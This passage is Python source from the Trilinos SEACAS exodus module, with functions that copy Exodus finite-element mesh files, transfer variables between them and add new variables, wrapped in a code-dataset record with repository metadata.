-----\n    This function also allows one to add new element attributes during the copy\n    process.  The number of element attributes is permanently set when the\n    block is created, meaning new element attributes can only be added to an\n    existing mesh by copying it to a new mesh.  The values of the element\n    attributes are set to their defaults so that the user can populate them\n    later.\n    \"\"\"\n    if additionalElementAttributes is None:\n        additionalElementAttributes = []\n    # If the user did not supply a exodus object to copy from, attempt to read an\n    # exodus database with the name \"fromFileName\"\n    if exoFromObj is None:\n        exoFrom = exodus(fromFileName, \"r\", array_type=array_type)\n    else:\n        exoFrom = exoFromObj\n\n    if os.path.isfile(toFileName):\n        raise Exception(\n            \"ERROR: \",\n            toFileName,\n            \" file already exists cowardly exiting instead of overwriting in call to copy_mesh().\")\n\n    title = exoFrom.title().encode('ascii')\n    ex_pars = ex_init_params(num_dim=exoFrom.num_dimensions(),\n                             num_nodes=exoFrom.num_nodes(),\n                             num_elem=exoFrom.num_elems(),\n                             num_elem_blk=exoFrom.num_blks(),\n                             num_node_sets=exoFrom.num_node_sets(),\n                             num_side_sets=exoFrom.num_side_sets(),\n                             num_assembly=exoFrom.num_assembly(),\n                             num_blob=exoFrom.num_blob())\n\n    exo_to = exodus(toFileName, mode=\"w\", array_type=array_type,\n                    title=title, init_params=ex_pars)\n\n    debugPrint = False\n    if debugPrint:\n        print(\"Transfer QA records\")\n    qaRecords = exoFrom.get_qa_records()\n    exo_to.put_qa_records(qaRecords)\n\n    if debugPrint:\n        print(\"Transfer Nodal Coordinates and Names\")\n    exo_to.put_coord_names(exoFrom.get_coord_names())\n    (xCoords, yCoords, zCoords) = exoFrom.get_coords()\n    exo_to.put_coords(xCoords, yCoords, zCoords)\n\n    if debugPrint:\n        print(\"Transfer Node Id Map\")\n    nodeIdMap = exoFrom.get_node_id_map()\n    exo_to.put_node_id_map(nodeIdMap)\n\n    if debugPrint:\n        print(\"Construct mapping from block ID to element attribute data\")\n    # The exodus library does not provide a way to add only new element\n    # attributes, so we must collect both the new and the old element\n    # attributes\n    e_attr_names = {}\n    e_attr_vals = {}\n    # Collect the old element attribute names and the number of elements in each\n    # block\n    blk_ids = exoFrom.get_ids('EX_ELEM_BLOCK')\n    blk_num_elem = {}\n    for blk_id in blk_ids:\n        (elemType, numElem, nodesPerElem, numAttr) = exoFrom.elem_blk_info(blk_id)\n        e_attr_names[blk_id] = []\n        e_attr_vals[blk_id] = []\n        if numAttr > 0:\n            e_attr_names[blk_id].extend(\n                exoFrom.get_attribute_names('EX_ELEM_BLOCK', blk_id))\n            e_attr_vals[blk_id].extend(exoFrom.get_elem_attr(blk_id))\n        blk_num_elem[blk_id] = numElem\n    # Collect the new element attribute names\n    # (The new names are mapped from \"attribute name\" to \"list of block IDs that\n    # contain that attribute\".  We need to have them be mapped as \"block ID\" to\n    # \"list of attribute names contained in that block\".)\n    for item in additionalElementAttributes:\n        if isinstance(item, tuple):\n            e_attr_name = item[0]\n            e_attr_blk_ids = item[1]\n        elif isinstance(item, str):\n            e_attr_name = item\n            e_attr_blk_ids = blk_ids\n        else:\n            print(f\"Warning additional element attribute item {item} is not right type to add.\")\n\n            print(\"should be a string or tuple, skipping\")\n        for blk_id in e_attr_blk_ids:\n            if blk_id in blk_ids:\n                e_attr_names[blk_id].append(e_attr_name)\n                # Concatenate all element attribute values into a single big list,\n                # because that is format required by exo.put_elem_attr().\n                e_attr_vals[blk_id].extend([0.0] * blk_num_elem[blk_id])\n\n    if debugPrint:\n        print(\"Transfer Element Data\")\n    blkIds = exoFrom.get_ids('EX_ELEM_BLOCK')\n    for blkId in blkIds:\n        (elemType, numElem, nodesPerElem, _oldnumAttr) = exoFrom.elem_blk_info(blkId)\n        numAttr = len(e_attr_names[blkId])\n        exo_to.put_elem_blk_info(blkId, elemType, numElem, nodesPerElem, numAttr)\n        (connectivity, numElem, nodesPerElem) = exoFrom.get_elem_connectivity(blkId)\n        exo_to.put_elem_connectivity(blkId, connectivity)\n        if numAttr > 0:\n            exo_to.put_attribute_names('EX_ELEM_BLOCK', blkId, e_attr_names[blkId])\n            exo_to.put_elem_attr(blkId, e_attr_vals[blkId])\n        elemProps = exoFrom.get_element_property_names()\n        for elemProp in elemProps:\n            propVal = exoFrom.get_element_property_value(blkId, elemProp)\n            if elemProp == \"ID\" and propVal == blkId:\n                continue\n            else:\n                exo_to.put_element_property_value(blkId, elemProp, propVal)\n        blockName = exoFrom.get_name('EX_ELEM_BLOCK', blkId)\n        exo_to.put_name('EX_ELEM_BLOCK', blkId, blockName)\n\n    if debugPrint:\n        print(\"Transfer Element Id Map\")\n    elemIdMap = exoFrom.get_elem_id_map()\n    exo_to.put_elem_id_map(elemIdMap)\n\n    if debugPrint:\n        print(\"Transfer Node Sets\")\n    if exoFrom.num_node_sets() > 0:\n        nodeSetProps = exoFrom.get_node_set_property_names()\n        nodeSetIds = exoFrom.get_ids('EX_NODE_SET')\n        for nsId in nodeSetIds:\n            (numSetNodes, numSetDistFacts) = exoFrom.get_set_params('EX_NODE_SET', nsId)\n            exo_to.put_node_set_params(nsId, numSetNodes, numSetDistFacts)\n            nsNodes = exoFrom.get_node_set_nodes(nsId)\n            exo_to.put_node_set(nsId, nsNodes)\n            if numSetDistFacts > 0:\n                nsDF = exoFrom.get_node_set_dist_facts(nsId)\n                exo_to.put_node_set_dist_fact(nsId, nsDF)\n            nodeSetName = exoFrom.get_name('EX_NODE_SET', nsId)\n            exo_to.put_name('EX_NODE_SET', nsId, nodeSetName)\n            for nodeSetProp in nodeSetProps:\n                propVal = exoFrom.get_node_set_property_value(\n                    nsId, nodeSetProp)\n                if nodeSetProp == \"ID\" and propVal == nsId:\n                    continue\n                else:\n                    exo_to.put_node_set_property_value(\n                        nsId, nodeSetProp, propVal)\n\n    if debugPrint:\n        print(\"Transfer Side Sets\")\n    if exoFrom.num_side_sets() > 0:\n        sideSetProps = exoFrom.get_side_set_property_names()\n        sideSetIds = exoFrom.get_ids('EX_SIDE_SET')\n        for ssId in sideSetIds:\n            (numSetSides, numSetDistFacts) = exoFrom.get_set_params('EX_SIDE_SET', ssId)\n            exo_to.put_side_set_params(ssId, numSetSides, numSetDistFacts)\n            (elemList, sideList) = exoFrom.get_side_set(ssId)\n            exo_to.put_side_set(ssId, elemList, sideList)\n            if numSetDistFacts > 0:\n                ssDF = exoFrom.get_side_set_dist_fact(ssId)\n                exo_to.put_side_set_dist_fact(ssId, ssDF)\n            sideSetName = exoFrom.get_name('EX_SIDE_SET', ssId)\n            exo_to.put_name('EX_SIDE_SET', ssId, sideSetName)\n            for sideSetProp in sideSetProps:\n                propVal = exoFrom.get_side_set_property_value(\n                    ssId, sideSetProp)\n                if sideSetProp == \"ID\" and propVal == ssId:\n                    continue\n                else:\n                    exo_to.put_side_set_property_value(\n                        ssId, sideSetProp, propVal)\n\n    # If the user did not supply an exodus object to copy from, then close the\n    # database.\n    if exoFromObj is None:\n        exoFrom.close()\n\n    return exo_to\n\n\ndef transfer_variables(exoFrom, exo_to, array_type='ctype', additionalGlobalVariables=None, additionalNodalVariables=None, additionalElementVariables=None, additionalNodeSetVariables=None, additionalSideSetVariables=None):\n    \"\"\"\n    This function transfers variables from `exoFrom` to `exo_to` and allows\n    additional variables to be added with `additionalGlobalVariables`,\n    `additionalNodalVariables`, and `additionalElementVariables`.  Additional\n    variables values are set to their defaults so that the user can populate\n    them later.\n\n    Parameters\n    ----------\n    exoFrom : exodus database object\n        exodus object to transfer from\n\n    exo_to : exodus database object\n        exodus object to transfer to\n\n    additionalGlobalVariables : list\n        list of global variable names to add.\n\n    additionalNodalVariables : list\n        list of nodal variable names to add.\n\n    additionalElementVariables : list\n        should be a list of element variable names to add to all blocks or\n        tuples `(name, blkIds)` where `name` is the element variable to add\n        and `blkIds` is a list of block ids to add it to.\n    \"\"\"\n    if additionalGlobalVariables is None:\n        additionalGlobalVariables = []\n    if additionalNodalVariables is None:\n        additionalNodalVariables = []\n    if additionalElementVariables is None:\n        additionalElementVariables = []\n    if additionalNodeSetVariables is None:\n        additionalNodeSetVariables = []\n    if additionalSideSetVariables is None:\n        additionalSideSetVariables = []\n    # IDEA: It may make sense to make transfer_variables() strictly transfer\n    # variables, and use add_variables() to add new variables.  Alternatively,\n    # add_variables() could be called within transfer_variables() to add\n    # new variables to the exo_to database.  Either way, we should minimize\n    # duplicate code if possible.\n\n    debugPrint = False\n\n    if not isinstance(additionalGlobalVariables, list):\n        raise Exception(\"ERROR: additionalGlobalVariables is not a list.\")\n    if not isinstance(additionalNodalVariables, list):\n        raise Exception(\"ERROR: additionalNodalVariables is not a list.\")\n    if not isinstance(additionalElementVariables, list):\n        raise Exception(\"ERROR: additionalElementVariables is not a list.\")\n    if not isinstance(additionalNodeSetVariables, list):\n        raise Exception(\"ERROR: additionalNodeSetVariables is not a list.\")\n    if not isinstance(additionalSideSetVariables, list):\n        raise Exception(\"ERROR: additionalSideSetVariables is not a list.\")\n\n    if debugPrint:\n        print(\"Transfer Info records\")\n    numInfoRecs = exoFrom.num_info_records()\n    if numInfoRecs > 0:\n        infoRecs = exoFrom.get_info_records()\n        exo_to.put_info_records(infoRecs)\n    if debugPrint:\n        print(\"Transfer time values\")\n\n    nSteps = exoFrom.num_times()\n    if nSteps == 0:\n        return exo_to\n\n    timeVals = exoFrom.get_times()\n    for step in range(nSteps):\n        exo_to.put_time(step + 1, timeVals[step])\n\n    if debugPrint:\n        print(\"Add Global Variables\")\n    nNewGlobalVars = len(additionalGlobalVariables)\n    nGlobalVars = exoFrom.get_variable_number('EX_GLOBAL') + nNewGlobalVars\n    defaultNewVarVals = [0.0 for _ in range(nNewGlobalVars)]\n    if nGlobalVars > 0:\n        exo_to.set_variable_number('EX_GLOBAL', nGlobalVars)\n        gVarNames = exoFrom.get_variable_names('EX_GLOBAL')\n        gVarNames.extend(additionalGlobalVariables)\n        for nameIndex in range(nGlobalVars):\n            globalVarName = gVarNames[nameIndex]\n            exo_to.put_variable_name('EX_GLOBAL', globalVarName, nameIndex + 1)\n        for step in range(nSteps):\n            gValues = exoFrom.get_all_global_variable_values(step + 1)\n            if array_type == 'numpy':\n                gValues = exo_to.np.append(gValues, defaultNewVarVals)\n            else:\n                gValues.extend(defaultNewVarVals)\n            exo_to.put_all_global_variable_values(step + 1, gValues)\n\n    if debugPrint:\n        print(\"Add Nodal Variables\")\n    nNewNodalVars = len(additionalNodalVariables)\n    nOrigNodalVars = exoFrom.get_variable_number('EX_NODAL')\n    nNodalVars = nOrigNodalVars + nNewNodalVars\n    if nNodalVars > 0:\n        exo_to.set_variable_number('EX_NODAL', nNodalVars)\n        nVarNames = exoFrom.get_variable_names('EX_NODAL')\n        nVarNames.extend(additionalNodalVariables)\n        for nameIndex in range(nNodalVars):\n            nodalVarName = nVarNames[nameIndex]\n            exo_to.put_variable_name('EX_NODAL', nodalVarName, nameIndex + 1)\n            if nameIndex < nOrigNodalVars:\n                for step in range(nSteps):\n                    nValues = exoFrom.get_node_variable_values(\n                        nodalVarName, step + 1)\n                    exo_to.put_node_variable_values(\n                        nodalVarName, step + 1, nValues)\n\n    internal_transfer_variables(exoFrom, exo_to, 'EX_ELEM_BLOCK', additionalElementVariables, debugPrint)\n    internal_transfer_variables(exoFrom, exo_to, 'EX_NODE_SET', additionalNodeSetVariables, debugPrint)\n    internal_transfer_variables(exoFrom, exo_to, 'EX_SIDE_SET', additionalSideSetVariables, debugPrint)\n    return exo_to\n\n\ndef internal_transfer_variables(exoFrom, exo_to, obj_type, additionalVariables, debugPrint):\n    \"\"\" Internal support function for `exodus.transfer_variables` \"\"\"\n    if debugPrint:\n        print(\"Construct Truth Table for additionalVariables\")\n    blkIds = exoFrom.get_ids(obj_type)\n    numBlks = len(blkIds)\n    newVariableNames = []\n    newVariableBlocks = []\n    for item in additionalVariables:\n        if isinstance(item, tuple):\n            newVariableNames.append(item[0])\n            inBlks = [blkId for blkId in item[1] if blkId in blkIds]\n            newVariableBlocks.append(inBlks)\n        elif isinstance(item, str):\n            newVariableNames.append(item)\n            newVariableBlocks.append(blkIds)\n        else:\n            print((\"Warning additionalVariable item \",\n                   item, \" is not right type to add.\"))\n            print(\"should be a string or tuple, skipping\")\n\n    nSteps = exoFrom.num_times()\n    if debugPrint:\n        print(\"Add Variables\")\n    nNewVars = len(newVariableNames)\n    nOrigVars = exoFrom.get_variable_number(obj_type)\n    nVars = nOrigVars + nNewVars\n    if nVars > 0:\n        exo_to.set_variable_number(obj_type, nVars)\n        origVarNames = exoFrom.get_variable_names(obj_type)\n        origVarNames.extend(newVariableNames)\n        truthTable = []\n        if nOrigVars > 0:\n            truthTable = exoFrom.get_variable_truth_table(obj_type)\n        if nNewVars > 0:\n            newTruth = []\n            for j in range(numBlks):\n\n                for k in range(nOrigVars):\n                    index = j * nOrigVars + k\n                    newTruth.append(truthTable[index])\n                for m in range(nNewVars):\n                    if blkIds[j] in newVariableBlocks[m]:\n                        newTruth.append(True)\n                    else:\n                        newTruth.append(False)\n            truthTable = newTruth\n        exo_to.set_variable_truth_table(obj_type, truthTable)\n        for nameIndex in range(nVars):\n            varName = origVarNames[nameIndex]\n            exo_to.put_variable_name(obj_type, varName, nameIndex + 1)\n        truthIndex = 0\n        for blkId in blkIds:\n            for origVarName in origVarNames:\n                if truthTable[truthIndex]:\n                    for step in range(nSteps):\n                        eValues = exoFrom.get_variable_values(obj_type, blkId,\n                                                              origVarName, step + 1)\n                        exo_to.put_variable_values(obj_type, blkId,\n                                                   origVarName, step + 1, eValues)\n                truthIndex = truthIndex + 1\n            truthIndex = truthIndex + nNewVars\n\n\ndef add_variables(exo, global_vars=None, nodal_vars=None, element_vars=None, node_set_vars=None, side_set_vars=None):\n    \"\"\"\n    This function adds variables to the exodus object.  The values of the\n    variables are set to their defaults so that the user can populate them later.\n\n    Parameters\n    ----------\n    exo : exodus database object\n        Exodus database that variables will be added to.\n    global_vars : list\n        global variable names to add.\n    nodal_vars : list\n        nodal variable names to add.\n    element_vars : list\n        list of element variable names to add to all blocks or tuples\n        ( name, blkIds ) where name is the element variable to add and blkIds is\n        a list of blkIds to add it to.\n    node_set_vars : list\n        list of node set variable names to add to all sets or tuples\n        ( name, setIds ) where name is the node set variable to add and `setIds` is\n        a list of `setIds` to add it to.\n    side_set_vars : list\n        list of side set variable names to add to all sets or tuples\n        ( name, setIds ) where name is the side set variable to add and `setIds` is\n        a list of `setIds` to add it to.\n\n    Returns\n    -------\n    exo : exodus database object\n        Exodus database with variables added to it.  (The values of the variables\n        are set to their defaults so that the user can populate them later.)\n\n    Note\n    ----\n    This function does not allow one to add element attributes to an exodus\n    database.  See `exodus.copy_mesh` function for that capability.\n    \"\"\"\n    if global_vars is None:\n        global_vars = []\n    if nodal_vars is None:\n        nodal_vars = []\n    if element_vars is None:\n        element_vars = []\n    if node_set_vars is None:\n        node_set_vars = []\n    if side_set_vars is None:\n        side_set_vars = []\n    debugPrint = False\n\n    if not isinstance(global_vars, list):\n        raise Exception(\"ERROR: global_vars is not a list.\")\n    if not isinstance(nodal_vars, list):\n        raise Exception(\"ERROR: nodal_vars is not a list.\")\n    if not isinstance(element_vars, list):\n        raise Exception(\"ERROR: element_vars is not a list.\")\n    if not isinstance(node_set_vars, list):\n        raise Exception(\"ERROR: node_set_vars is not a list.\")\n    if not isinstance(side_set_vars, list):\n        raise Exception(\"ERROR: side_set_vars is not a list.\")\n\n    if exo.modeChar == 'r':\n        raise Exception(\n            \"ERROR: variables cannot be added to an exodus object in read only mode\")\n\n    if debugPrint:\n        print(\"Add Global Variables\")\n    n_new_vars = len(global_vars)\n    n_old_vars = exo.get_variable_number('EX_GLOBAL')\n    n_vars = n_old_vars + n_new_vars\n    default_vals = [0.0] * n_new_vars\n    if n_new_vars > 0:\n        exo.set_variable_number('EX_GLOBAL', n_vars)\n        for i, var_name in enumerate(global_vars):\n            exo.put_variable_name('EX_GLOBAL', var_name, n_old_vars + i + 1)\n        # One might wish to put all the values for a given global variable in the\n        # database at once, but exo.put_global_variable_value() ends up loading\n        # all the global variables for a given step and then putting them all back\n        # in, so we might as well just use\n        # exo.put_all_global_variable_values().\n        nSteps = exo.num_times()\n        for step in range(nSteps):\n            gValues = exo.get_all_global_variable_values(step + 1)\n            if exo.use_numpy:\n                gValues = exo.np.append(gValues, default_vals)\n            else:\n                gValues.extend(default_vals)\n            exo.put_all_global_variable_values(step + 1, gValues)\n\n    if debugPrint:\n        print(\"Add Nodal Variables\")\n    n_new_vars = len(nodal_vars)\n    n_old_vars = exo.get_variable_number('EX_NODAL')\n    n_vars = n_old_vars + n_new_vars\n    if n_new_vars > 0:\n        exo.set_variable_number('EX_NODAL', n_vars)\n        for i, var_name in enumerate(nodal_vars):\n            exo.put_variable_name('EX_NODAL', var_name, i + n_old_vars + 1)\n\n    internal_add_variables(exo, 'EX_ELEM_BLOCK', element_vars, debugPrint)\n    internal_add_variables(exo, 'EX_NODE_SET', node_set_vars, debugPrint)\n    internal_add_variables(exo, 'EX_SIDE_SET', side_set_vars, debugPrint)\n\n    return exo\n\n\ndef internal_add_variables(exo, obj_type, entvars, debugPrint):\n    \"\"\" Internal support function for `exodus.add_variables` \"\"\"\n\n    if len(entvars) == 0:\n        return\n\n    if debugPrint:\n        print(\"Construct Truth Table for additional variables\")\n\n    new_var_blks = []\n    blk_ids = exo.get_ids(obj_type)\n    new_var_names = []\n    for item in entvars:\n        if isinstance(item, tuple):\n            new_var_names.append(item[0])\n            in_blks = [blk_id for blk_id in item[1] if blk_id in blk_ids]\n            new_var_blks.append(in_blks)\n        elif isinstance(item, str):\n            new_var_names.append(item)\n            new_var_blks.append(blk_ids)\n        else:\n            print(f\"Warning additional variable item {item} is not right type to add.\")\n            print(\"should be a string or tuple, skipping\")\n\n    if debugPrint:\n        print(\"Add Variables\")\n    n_new_vars = len(new_var_names)\n    if n_new_vars > 0:\n        n_old_vars = exo.get_variable_number(obj_type)\n        n_vars = n_old_vars + n_new_vars\n        exo.set_variable_number(obj_type, n_vars)\n        old_truth_table = []\n        if n_old_vars > 0:\n            old_truth_table = exo.get_variable_truth_table(obj_type)\n        truth_table = []\n        n_blks = len(blk_ids)\n        for j in range(n_blks):\n            for k in range(n_old_vars):\n                ndx = j * n_old_vars + k\n                truth_table.append(old_truth_table[ndx])\n            for m in range(n_new_vars):\n                if blk_ids[j] in new_var_blks[m]:\n                    truth_table.append(True)\n                else:\n                    truth_table.append(False)\n        exo.set_variable_truth_table(obj_type, truth_table)\n        for i, var_name in enumerate(new_var_names):\n            exo.put_variable_name(obj_type, var_name, n_old_vars + i + 1)\n\n\ndef copyTransfer(fromFileName, toFileName, array_type='ctype', additionalGlobalVariables=None, additionalNodalVariables=None, additionalElementVariables=None, additionalNodeSetVariables=None, additionalSideSetVariables=None, additionalElementAttributes=None):\n    \"\"\"\n    This function creates an exodus file `toFileName` and copies\n    everything from exodus file `fromFileName` returning a file handle\n    to `toFileName`.\n\n    Additional space is allocated for `additionalGlobalVariables`,\n    `additionalNodalVariables` and `additionalElementVariables` if\n    specified.\n\n    Parameters\n    ----------\n    fromFileName : string\n        File name of the exodus mesh to be copied\n    toFileName : string\n        File name of the new exodus mesh\n    array_type : 'ctype' | 'numpy'\n        Specifies whether arrays will be imported and copied as ctype or numpy\n        arrays.  (This option should make no difference to the user, but it can\n        be used by developers to test whether the commands within this function\n        handle both array types correctly.)\n    additionalGlobalVariables : list\n        list of global variable names to add.\n    additionalNodalVariables: list\n        list of nodal variable names to add.\n    additionalElementVariables: list\n        should be a list of element variable\n        names to add to all blocks or tuples (name, blkIds) where name is\n        the element variable to add and blkIds is a list of blkIds to add\n        it to.\n    additionalElementAttributes: list\n        list of element attribute names to\n         add to all blocks or tuples ( name, blkIds ) where name is the\n         element attribute to add and blkIds is a list of blkIds to add it\n         to.\n\n    Usage:\n    ------\n    >>> fromFileName = \"input.e\"\n    >>> toFileName = \"output.e\"\n    >>> addGlobalVariables = [] ## Do not add any new global variables\n    >>> ## Add node_dummy1 and node_dummy2 as new node variables\n    >>> addNodeVariables = [\"node_dummy1\", \"node_dummy2\"]\n    >>> ## Add elem_dummy1 on blkIds 1, 2, 3 and elem_dummy2 on all blocks\n    >>> addElementVariables = [ (\"elem_dummy1\", [1, 2, 3]), \"elem_dummy2\" ]\n    >>> ## Add elem_attr_dummy1 on blkIds 1,2,3 and elem_attr_dummy2 on all blocks\n    >>> addElementAttributes = [ (\"elem_attr_dummy1\",[1,2,3]), \"elem_attr_dummy2\" ]\n\n    >>> toFileHandle = copyTransfer(fromFileName,toFileName,addGlobalVariables,addNodeVariables,\n    ...                             addElementVariables,addElementAttributes)\n\n    >>> ## Fill in new variables\n\n    >>> toFileHandle.close()\n    \"\"\"\n\n    if additionalGlobalVariables is None:\n        additionalGlobalVariables = []\n    if additionalNodalVariables is None:\n        additionalNodalVariables = []\n    if additionalElementVariables is None:\n        additionalElementVariables = []\n    if additionalNodeSetVariables is None:\n        additionalNodeSetVariables = []\n    if additionalSideSetVariables is None:\n        additionalSideSetVariables = []\n    if additionalElementAttributes is None:\n        additionalElementAttributes = []\n    with exodus(fromFileName, \"r\", array_type=array_type) as exoFrom:\n        exo_to = copy_mesh(fromFileName, toFileName, exoFromObj=exoFrom,\n                           additionalElementAttributes=additionalElementAttributes,\n                           array_type=array_type)\n\n        exo_to = transfer_variables(\n            exoFrom,\n            exo_to,\n            additionalGlobalVariables=additionalGlobalVariables,\n            additionalNodalVariables=additionalNodalVariables,\n            additionalElementVariables=additionalElementVariables,\n            additionalNodeSetVariables=additionalNodeSetVariables,\n            additionalSideSetVariables=additionalSideSetVariables,\n            array_type=array_type)\n\n    return exo_to\n\n\ndef ctype_to_numpy(exo, c_array):\n    \"\"\"\n    Converts a c-type array into a numpy array\n\n    Parameters\n    ----------\n    exo : exodus object\n        exodus database object initialized with the option `array_type = 'numpy'`\n    c_array : c-type array\n        c-type array to be converted into a numpy array\n\n    Returns\n    -------\n    np_array : numpy array\n        Numpy array converted from c-type array\n    \"\"\"\n    # ctypes currently produce invalid PEP 3118 type codes, which causes numpy\n    # to issue a warning.  This is a bug and can be ignored.\n    # http://stackoverflow.com/questions/4964101/pep-3118-warning-when-using-ctypes-array-as-numpy-array\n    if not c_array:\n        return exo.np.array([])\n\n    with exo.warnings.catch_warnings():\n        exo.warnings.simplefilter('ignore')\n        np_array = exo.np.ctypeslib.as_array(c_array)\n    return np_array\n", "repo_name": "trilinos/Trilinos", "sub_path": "packages/seacas/scripts/exodus3.in.py", "file_name": "exodus3.in.py", "file_ext": "py", "file_size_in_byte": 247212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1088, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.version_info", "line_number": 2, "usage_type": "attribute"}, {"api_name": "sys.dont_write_bytecode", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "locale.setlocale", "line_number": 69, "usage_type": "call"}, {"api_name": "locale.LC_ALL", "line_number": 69, "usage_type": "attribute"}, {"api_name": "locale.Error", "line_number": 70, "usage_type": "attribute"}, {"api_name": "locale.setlocale", "line_number": 71, "usage_type": "call"}, {"api_name": "locale.LC_ALL", "line_number": 71, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 74, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 98, "usage_type": "call"}, {"api_name": "os.uname", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "ctypes.cdll.LoadLibrary", "line_number": 106, "usage_type": "call"}, {"api_name": "ctypes.cdll", "line_number": 106, "usage_type": "attribute"}, {"api_name": "ctypes.cdll.LoadLibrary", "line_number": 108, "usage_type": "call"}, {"api_name": "ctypes.cdll", "line_number": 108, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 159, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 163, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 237, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 307, "usage_type": "name"}, {"api_name": "ctypes.Structure", "line_number": 384, "usage_type": "attribute"}, {"api_name": "ctypes.c_char", "line_number": 429, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 430, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 431, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 432, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 433, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 434, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 435, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 436, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 437, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 438, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 439, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 440, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 441, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 442, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 443, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 444, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 445, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 446, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 447, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 448, "usage_type": "attribute"}, {"api_name": "ctypes.Structure", "line_number": 466, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 478, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 479, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 480, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 481, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 482, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 482, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 488, "usage_type": "attribute"}, {"api_name": "ctypes.Structure", "line_number": 502, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 512, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 513, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 514, "usage_type": "attribute"}, {"api_name": "ctypes.Structure", "line_number": 532, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 545, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 546, "usage_type": "attribute"}, {"api_name": "ctypes.c_char", "line_number": 547, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 548, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 549, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 550, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 668, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 671, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 768, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 769, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 770, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 771, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 772, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 773, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 774, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 775, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 777, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 800, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 801, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 1120, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 4562, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 4564, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 4568, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4571, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4572, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4573, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4574, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4575, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 4600, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 4602, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4604, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4605, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4606, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4607, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4608, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4670, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4671, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 4672, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4673, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4674, 